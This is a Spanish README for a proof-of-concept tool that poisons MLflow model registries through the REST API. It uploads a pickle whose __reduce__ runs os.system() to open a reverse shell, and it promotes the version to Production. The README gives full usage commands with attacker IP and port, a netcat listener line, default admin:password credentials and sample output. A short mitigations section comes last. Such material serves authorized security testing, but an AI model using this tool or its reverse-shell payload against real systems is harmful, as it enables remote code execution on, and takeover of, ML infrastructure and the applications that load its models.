
Prueba de concepto que envenena modelos registrados de MLflow a través de la API REST, incrustando un pickle malicioso para desencadenar RCE cuando se carga el modelo.
Prueba de concepto genérica para RCE por deserialización de pickle contra registros de modelos de MLflow (estilo CVE-2024-37054). Solo se comunica con la API REST de MLflow — sin suposiciones sobre ninguna aplicación cliente específica delante de ella.
⚠️ Solo para pruebas de seguridad autorizadas. Ejecuta esto únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba (entornos CTF/laboratorio, compromisos con alcance firmado, etc.). El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de jurisdicciones.
El flavor pyfunc de MLflow carga un modelo registrado deserializando (unpickling) un artefacto model.pkl cada vez que se llama a mlflow.pyfunc.load_model() — ya sea que eso se active directamente a través de la UI/API de MLflow, o indirectamente por alguna aplicación cliente que ejecuta inferencia contra un modelo registrado.
El módulo pickle de Python puede ejecutar código arbitrario durante la deserialización mediante el método __reduce__ de un objeto. Si un atacante tiene suficiente acceso a la API de MLflow para:
...puede introducir de contrabando un pickle malicioso como model.pkl. La próxima vez que algo cargue esa versión del modelo, el código del atacante se ejecuta en el contexto del proceso que realiza la carga (el propio servidor de MLflow, o una aplicación cliente que integra MLflow).
Esta es la misma primitiva subyacente detrás de varios CVE de MLflow, incluidos CVE-2023-6015, CVE-2023-6018 y CVE-2024-37054. Es particularmente peligrosa porque las instancias de MLflow se despliegan con frecuencia sin autenticación, o con credenciales predeterminadas bien conocidas (admin:password).
Puramente basado en API, en orden:
--model-name).model.pkl — un pickle cuyo __reduce__ llama a os.system() para lanzar una reverse shell.MLmodel — el manifiesto que declara un flavor python_function / sklearn respaldado por ese pickle.Production), ya que muchas aplicaciones cliente solo cargan la versión de un modelo en etapa Production.No descubre ni activa la carga real del modelo — esa parte es diferente para cada despliegue:
mlflow.pyfunc.load_model() detrás de algún endpoint (una ruta /predict, un trabajo por lotes programado, etc).Necesitas:
--model-name objetivo tú mismo — desde la UI de MLflow, la API de MLflow (/api/2.0/mlflow/registered-models/search), o lo que devuelva una aplicación cliente cuando registra un modelo en tu nombre.pip install requests --break-system-packages
Python 3.8+. Sin otras dependencias.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Inicia un listener antes o después de ejecutar:
nc -lvnp 4444
Luego activa la carga como lo haga la aplicación objetivo (su propio endpoint de inferencia, un trabajo por lotes, cargar el modelo manualmente desde la UI de MLflow, etc).
| Flag | Por defecto | Descripción |
|---|---|---|
--mlflow | (requerido) | URL base de MLflow |
--model-name | aleatorio | Nombre del modelo registrado a envenenar; se crea si no existe |
--lhost | (requerido) | IP de tu listener |
--lport | 4444 | Puerto de tu listener |
--username | admin | Nombre de usuario de autenticación básica de MLflow |
--password | password | Contraseña de autenticación básica de MLflow |
--experiment-id | 0 | ID del experimento bajo el cual crear la ejecución |
--stage | Production | Etapa a la que promover la versión maliciosa, o none para omitir la transición |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) en su lugar.pickle (p. ej. ONNX, o flavors con serialización más segura), o valida/aisla la carga de modelos.registered-models/create, model-versions/create y transition-stage en los registros de auditoría/acceso de MLflow, especialmente desde cuentas que no deberían publicar modelos a Production.load_model()) para que una primitiva de ejecución de código allí no tenga una ruta directa a sistemas internos sensibles.MIT — consulta LICENSE.